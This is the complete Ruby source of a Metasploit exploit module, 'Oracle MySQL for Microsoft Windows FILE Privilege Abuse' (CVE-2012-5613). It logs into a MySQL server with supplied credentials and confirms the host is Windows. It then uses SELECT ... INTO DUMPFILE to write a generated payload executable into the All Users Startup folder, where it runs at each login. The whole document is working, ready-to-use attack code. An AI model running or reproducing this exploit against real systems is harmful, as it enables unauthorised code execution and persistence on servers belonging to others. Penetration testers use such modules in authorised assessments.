Oracle MySQL for Microsoft Windows FILE Privilege Abuse

`##  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::MYSQL  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',  
'Description' => %q{  
This module takes advantage of a file privilege misconfiguration problem  
specifically against Windows MySQL servers. This module abuses the FILE  
privilege to write a payload to Microsoft's All Users Start Up directory  
which will execute every time a user logs in. The default All Users Start  
Up directory used by the module is Windows 7 friendly.  
},  
'Author' =>  
[  
'sinn3r',  
'Sean Verity <veritysr1980[at]gmail.com'  
],  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => 'true'  
},  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-5613'], #DISPUTED  
['OSVDB', '88118'],  
['EDB', '23083'],  
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'MySQL on Windows', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 01 2012'  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'The username to authenticate as']),  
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),  
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])  
])  
end  
  
def check  
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])  
return Exploit::CheckCode::Safe unless m  
  
return Exploit::CheckCode::Appears if is_windows?  
  
Exploit::CheckCode::Safe  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def query(q)  
rows = []  
  
begin  
res = mysql_query(q)  
return rows unless res  
res.each_hash do |row|  
rows << row  
end  
rescue RbMysql::ParseError  
return rows  
end  
  
rows  
end  
  
def is_windows?  
r = query("SELECT @@version_compile_os;")  
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false  
end  
  
def get_drive_letter  
r = query("SELECT @@tmpdir;")  
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''  
  
drive  
end  
  
def upload_file(bin, dest)  
p = bin.unpack("H*")[0]  
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")  
end  
  
def exploit  
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')  
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")  
end  
  
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")  
begin  
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])  
rescue RbMysql::AccessDeniedError  
fail_with(Failure::NoAccess, "#{peer} - Access denied")  
end  
  
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m  
  
unless is_windows?  
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")  
end  
  
begin  
drive = get_drive_letter  
rescue RbMysql::ParseError  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")  
end  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive  
  
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"  
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"  
exe = generate_payload_exe  
  
print_status("#{peer} - Uploading to '#{dest}'")  
begin  
upload_file(exe, dest)  
rescue RbMysql::AccessDeniedError  
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")  
end  
register_file_for_cleanup("#{dest}")  
end  
  
end  
`